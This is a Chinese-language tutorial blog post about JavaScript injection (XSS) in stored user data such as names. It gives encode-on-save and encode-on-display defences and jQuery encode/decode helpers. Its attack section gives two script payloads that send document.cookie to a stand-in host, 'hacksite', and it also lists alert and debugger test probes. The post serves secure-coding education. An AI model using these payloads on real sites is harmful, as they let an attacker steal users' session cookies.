JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
Ruffy javascript 学习笔记
Nov 30 Javascript
jQuery 1.7.2中getAll方法的疑惑分析
May 23 Javascript
基于jquery的点击链接插入链接内容的代码
Jul 31 Javascript
JS控制图片等比例缩放的示例代码
Dec 24 Javascript
页面元素绑定jquery toggle后元素隐藏的解决方法
Mar 27 Javascript
js函数与php函数的区别实例浅析
Jan 12 Javascript
jQuery()方法的第二个参数详解
Apr 29 Javascript
JS实现超精简的链接列表在固定区域内滚动效果代码
Nov 04 Javascript
不能不知道的10个angularjs英文学习网站
Mar 23 Javascript
小程序实现展开/收起的效果示例
Sep 22 Javascript
JS实现烟花爆炸效果
Mar 10 Javascript
html5中sharedWorker实现多页面通信的示例代码
May 07 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
PHP IE中下载附件问题解决方法
2014/01/07 PHP
Destoon旺旺无法正常显示,点击提示“会员名不存在”的解决办法
2014/06/21 PHP
thinkphp四种url访问方式详解
2014/11/28 PHP
将FCKeditor导入PHP+SMARTY的实现方法
2015/01/15 PHP
php短址转换实现方法
2015/02/25 PHP
PHP入门教程之面向对象的特性分析(继承,多态,接口,抽象类,抽象方法等)
2016/09/11 PHP
PHP两种实现无级递归分类的方法
2017/03/02 PHP
PHP实现根据数组的值进行分组的方法
2017/04/20 PHP
ThinkPHP 在阿里云上的nginx.config配置实例详解
2017/10/11 PHP
laravel-admin select框默认选中的方法
2019/10/03 PHP
jQuery 行级解析读取XML文件(附源码)
2009/10/12 Javascript
Extjs中ComboBox加载并赋初值的实现方法
2012/03/22 Javascript
网页右侧悬浮滚动在线qq客服代码示例
2014/04/28 Javascript
JS+CSS实现带有碰撞缓冲效果的竖向导航条代码
2015/09/15 Javascript
Bootstrap每天必学之折叠(Collapse)插件
2016/04/25 Javascript
JavaScript使用享元模式实现文件上传优化操作示例
2018/08/07 Javascript
Bootstrap Paginator+PageHelper实现分页效果
2018/12/29 Javascript
Vue组件实现触底判断
2019/06/26 Javascript
Vue将props值实时传递 并可修改的操作
2020/08/09 Javascript
Js跳出两级循环方法代码实例
2020/09/22 Javascript
使用BeautifulSoup爬虫程序获取百度搜索结果的标题和url示例
2014/01/19 Python
在Python中使用SQLite的简单教程
2015/04/29 Python
轻量级的Web框架Flask 中模块化应用的实现
2017/09/11 Python
python使用 HTMLTestRunner.py生成测试报告
2017/10/20 Python
Python中的Django基本命令实例详解
2018/07/15 Python
pycharm实现在子类中添加一个父类没有的属性
2020/03/12 Python
HTML5未来发展趋势
2016/02/01 HTML / CSS
泰国办公用品购物网站:OfficeMate
2018/02/04 全球购物
Myprotein西班牙官网:欧洲第一大运动营养品牌
2020/02/24 全球购物
几道数据库的面试题或笔试题
2014/05/31 面试题
如何写出高质量、高性能的MySQL查询
2014/11/17 面试题
教师网络培训感言
2014/03/09 职场文书
文员试用期转正自我鉴定
2014/09/14 职场文书
2015年中秋节活动总结
2015/03/23 职场文书
农村环境卫生倡议书
2015/04/29 职场文书
2016年小学优秀班主任事迹材料
2016/02/29 职场文书